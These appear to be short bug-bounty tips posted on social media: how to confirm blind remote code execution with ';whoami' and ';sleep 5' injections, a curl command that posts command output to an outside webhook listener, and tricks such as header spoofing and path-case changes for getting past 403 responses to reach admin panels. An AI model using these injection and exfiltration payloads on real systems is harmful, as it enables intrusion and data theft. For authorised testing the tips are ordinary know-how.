Test and confirm an RCE:
Here's how:
1: Test if RCE is possible with something like ;whoami
Since the app doesnβt return output (blind RCE), you need a side-channel to confirm it.
2: Use a Time-Based Payload like ;sleep 5
If the server delays its response by ~5 seconds, it confirms your command executed. This proves RCE is real, even if output is hidden.
3: Exfiltrate Output Using https://t.co/Fivr2ckOMQ using a payload like this:
curl -X POST -d "user=$(whoami)" https://t.co/rEHKpmy92n<your-unique-id>
This will send the output of whoami to your webhook URL as a POST request.
4: Verify the Output at https://t.co/Fivr2ckOMQ
Visit your unique https://t.co/Fivr2ckOMQ URL and youβll see a new request with the POST body: user=www-data
That confirms command output was exfiltrated successfully.
Summary:
π₯ Use ;sleep 5 to confirm blind RCE
π₯ Use curl with https://t.co/Fivr2ckOMQ to exfiltrate output
π₯ https://t.co/Fivr2ckOMQ acts as a temporary listener
π₯ Great for demos, PoCs, and beginner-friendly workflows
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Think you've found an RCE?
Use the `time` command with cURL and a `;sleep 5` payload to see how long the server takes to respond.
If it takes longer than 5 seconds then may have confirmed an RCE! π
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Got a 403?
Before you move on, here are some tricks you should try first:
π₯ change the method (GET to POST, or vice versa)
π₯ append a trailing slash or a fake extension like .json
π₯ add an X-Forwarded-For or X-Original-URL header
π₯ hit the path with mixed case
π₯ URL encoding
At times, access to admin panels is restricted by nothing more than a simple, case-sensitive path check.
Bugs like that only show up if you refuse to accept the first 403.